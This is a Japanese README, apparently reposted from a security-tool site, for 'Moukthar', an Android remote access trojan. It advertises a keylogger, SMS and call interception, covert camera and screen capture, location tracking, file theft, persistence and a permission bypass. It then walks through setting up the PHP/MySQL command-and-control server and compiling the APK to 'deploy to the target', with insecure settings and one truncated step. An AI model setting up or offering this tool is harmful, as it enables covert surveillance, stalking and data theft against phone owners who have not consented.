moukthar

Moukthar

Android用リモート管理ツール

デモ

機能

• 権限バイパス (Android 12以下)
• キーロガー
• 通知リスナー
• SMSリスナー
• 電話録音
• 画像キャプチャとスクリーンショット
• 動画録画
• 永続化
• 連絡先の読み取りと書き込み
• インストール済みアプリの一覧表示
• ファイルのダウンロードとアップロード
• 端末の位置情報取得

インストール

• リポジトリをクローン
  root@kitploit:~

  git clone https://github.com/Tomiwa-Ot/moukthar.git
  

• PHP、Composer、MySQL、php-mysqlドライバ、Apache2、a2enmodをインストール
• サーバーファイルを /var/www/html/ に移動し、依存関係をインストール
  root@kitploit:~

  mv moukthar/Server/* /var/www/html/
  cd /var/www/html/c2-server
  composer install
  cd /var/www/html/web-socket/
  composer install
  cd /var/www
  chown -R www-data:www-data .
  chmod -R 777 .
  

  デフォルトの認証情報はユーザー名: android、パスワード: android です
• 新しいSQLユーザーを作成
  root@kitploit:~

  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
  FLUSH PRIVILEGES;
  

• データベースの認証情報を c2-server/.env と web-socket/.env に設定
• database.sql を実行
• Webソケットサーバーを起動するか、Linuxでサービスとしてデプロイ
  root@kitploit:~

  php Server/web-socket/App.php
  # OR
  sudo mv Server/websocket.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable websocket.service
  sudo systemctl start websocket.service
  

• /etc/apache2/sites-available/000-default.conf を修正
  root@kitploit:~

  <VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/c2-server
        DirectoryIndex app.php
        Options -Indexes
  
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
  
  

• /etc/apache2/apache2.conf を修正
  root@kitploit:~

    このセクションをコメントアウト
    #<Directory />
    #       Options FollowSymLinks
    #       AllowOverride None
    #       Require all denied
    #</Directory>
  
   これを追加
    <Directory /var/www/html/c2-server>
        Options -Indexes
        DirectoryIndex app.php
        AllowOverride All
        Require all granted
    </Directory>
  

• PHPファイルアップロード最大サイズを増やす /etc/php/*.*/apache2/php.ini
  root@kitploit:~

  ; クライアントからの大きなファイルアップロードを許可するためにサイズを増やす
  upload_max_filesize = 128M
  ; post_max_size を upload_max_filesize + 1 に設定
  post_max_size = 129M
  

• c2-server/src/View/home.php と c2-server/src/View/features/files.php の
• 以下のコマンドでApacheを再起動
  root@kitploit:~

  sudo a2enmod rewrite && sudo service apache2 restart
  

• クライアントの functionality/Utils.java でC2サーバーとWebソケットサーバーのアドレスを設定
  root@kitploit:~

  public static final String C2_SERVER = "http://localhost";
  
  public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  

• Android StudioでAPKをコンパイルし、ターゲットにデプロイ

スクリーンショット

TODO

• ダッシュボードのログを自動スクロール
• スクリーンショットが動作しない
• アプリケーションがフォーカスされていないとき、画像/動画キャプチャが動作しない
• DownloadManagerを使用したアプリ内ファイルダウンロードが動作しない
• ディレクトリの構成要素の一覧表示がすべてのファイル/フォルダを表示しない